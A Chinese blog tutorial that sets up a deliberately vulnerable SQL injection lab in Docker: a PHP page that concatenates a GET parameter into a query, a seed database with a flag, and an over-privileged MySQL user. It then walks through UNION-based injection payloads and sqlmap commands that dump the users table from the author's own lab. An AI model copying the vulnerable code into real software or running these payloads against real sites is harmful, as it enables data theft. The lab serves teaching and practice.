使用Docker搭建SQL注入靶场

Docker搭建SQL注入漏洞

什么是Docker

Docker又被叫做容器，使用教程参考我的博客：
传送门

如何搭建靶场

这里以ubuntu上搭建docker为例
首先下载docker：

apt install docker.io
apt install docker-compose

如何搭建web服务器

一般来说比较推荐Apache，详细教程请查看我的博客

如何写php文件

以一个简单的php文件为例，如果有需要请自行增加功能。

<?php
error_reporting(0);         //不报错
$con = mysqli_connect("127.0.0.1","ubuntu","ubuntu","ctf");      //连接本地数据库，账号为ubuntu，密码为ubuntu，连接的数据库名字叫ctf
if (!isset($_GET['id'])){        //判断是否上传一个id
	Header("Location:?id=1");         //如果没有上传，默认加上 ?id=1
}
$id = $_GET['id'];         //将传上来的id赋值给$id变量

//if(preg_match("/ /order/i",$id)){       这一块是加上过滤的语句，这里搭建简单靶场，所以将注释过滤掉了
    //die("<script>alert('Stop hacking!')</script>");
//}

$req = "select * from users where id=$id;";        //构造SQL读取语句
$result=mysqli_query($con,$req);                     //执行SQL语句
$row = mysqli_fetch_all($result);                       //解析执行结果
echo "<center><font color='red'>".$row[0][0]."</font></br>";       //将结果输出
echo "<font color='red'>".$row[0][1]."</font></br>";
echo "<font color='red'>".$row[0][2]."</font></center>";
?>

SQL文件的话可以参考

create database IF NOT EXISTS ctf;
use ctf;
CREATE TABLE IF NOT EXISTS users
    (
    id int(3) NOT NULL AUTO_INCREMENT,
    username varchar(20) NOT NULL,
    password varchar(60) NOT NULL,
    PRIMARY KEY (id)
    );
CREATE TABLE emails
    (
    id int(3)NOT NULL AUTO_INCREMENT,
    email_id varchar(30) NOT NULL,
    PRIMARY KEY (id)
    );
CREATE TABLE uagents
    (
    id int(3)NOT NULL AUTO_INCREMENT,
    uagent varchar(256) NOT NULL,
    ip_address varchar(35) NOT NULL,
    username varchar(20) NOT NULL,
    PRIMARY KEY (id)
    );
CREATE TABLE referers
    (
    id int(3)NOT NULL AUTO_INCREMENT,
    referer varchar(256) NOT NULL,
    ip_address varchar(35) NOT NULL,
    PRIMARY KEY (id)
    );

INSERT INTO ctf.users (id, username, password) VALUES ('1', 'Dumb', 'Dumb'), ('2', 'Angelina', 'I-kill-you'), ('3', 'Dummy', 'p@ssword'), ('4', 'secure', 'crappy'), ('5', 'superman', 'genious'), ('6', 'batman', 'mob!le'), ('7', 'admin', 'flag in /flag');

INSERT INTO `ctf`.`emails` (id, email_id) VALUES ('1', 'Dumb@dhakkan.com'), ('2', 'Angel@iloveu.com'), ('3', 'Dummy@dhakkan.local'), ('4', 'secure@dhakkan.local'), ('5', 'stupid@dhakkan.local'), ('6', 'superman@dhakkan.local'), ('7', 'batman@dhakkan.local'), ('8', 'flag{chenwei_laoshi_taiqiangle}');

写Dockerfile

在以下内容之前，请先看前面那篇博客

FROM 1275178869/base_image_apache_php_mysql:sjx 

COPY file /var/www/html     #将当前文件夹中的file文件拷去/var/www/html

RUN rm /var/www/html/index.html

EXPOSE 80

构建Docker

一番操作下来，目前已经有的文件：


一共3个文件，其中db.sql和index.php在file文件夹中。
将整个文件夹上传到服务器端：

然后运行

docker build -t sql:sql .

创建一个叫sql:sql的镜像，然后

docker run -it -p 3000:80 sql:sql /bin/bash

创建好了容器，主机的3000端口映射到容器的80端口上了。
这时候已经进入了容器

输入

mysql -uroot -proot < /var/www/html/db.sql

导入数据库

然后输入

service mysql start
service apache2 start

开启MySQL和Apache

输入mysql进入数据库

然后创建一个叫ubuntu的用户，密码也用ubuntu，并赋予最高权限。

CREATE USER 'ubuntu'@'%' IDENTIFIED BY 'ubuntu';GRANT ALL PRIVILEGES ON *.* TO 'ubuntu'@'%' WITH GRANT OPTION;FLUSH PRIVILEGES;

这个时候已经搭建好靶场了，大家可以访问主机ip:3000来对docker进行访问。

如果想退出docker可以输入exit进行退出

这个时候docker已经关闭了，可以用docker ps -a查看暂停的容器，并用docker start +容器id来开启，就此搭建靶机结束！

---

SQL注入过程

判断是数字类型注入还是字符型注入

输入1'#发现红色的字已经没了

输入1#红色的字还在所以判断此注入是数字型注入

判断字段数

构造

http://111.229.229.17:3000/?id=1 order by 1#

http://111.229.229.17:3000/?id=1 order by 2#
http://111.229.229.17:3000/?id=1 order by 3#
http://111.229.229.17:3000/?id=1 order by 4#

证明一共有三个字段

判断注入点

http://111.229.229.17:3000/?id=0 union select 1,2,3#

发现 1 2 3都有辉回显，那么三个都是注入点

爆库名

http://111.229.229.17:3000/?id=0 union select database(),2,3#

爆表名

http://111.229.229.17:3000/?id=0 union select group_concat(table_name),2,3 from information_schema.tables where table_schema='ctf'#

发现了4个表，猜测flag在users表里面。

爆字段名

http://111.229.229.17:3000/?id=0 union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'#

猜flag在password字段里面

得到flag

http://111.229.229.17:3000/?id=0 union select group_concat(password),2,3 from users#

使用SQL注入工具

sqlmap解放双手

下载传送门
一款好用的工具可以大大降低我们的劳动，介绍一下sqlmap的使用。详细使用过程参考这篇博客

这里就介绍一些简单的指令

爆库名

在sqlmap下载路径下打开cmd,输入

python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" --dbs

因为sqlmap是用python2写的，所以要用python2调用。
-u参数提供攻击链接
--dbs表示要爆库名

有5个库，选择ctf

爆表名

python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" -D ctf --tables

-D参数表示选择数据库
--tables表示爆表名

爆字段名

python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" -D ctf -T users --columns

-T参数表示选择users表
--columns表示爆字段名

拿flag

python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" -D ctf -T users -C password --dump

-C表示选择字段
--dump表示爆出内容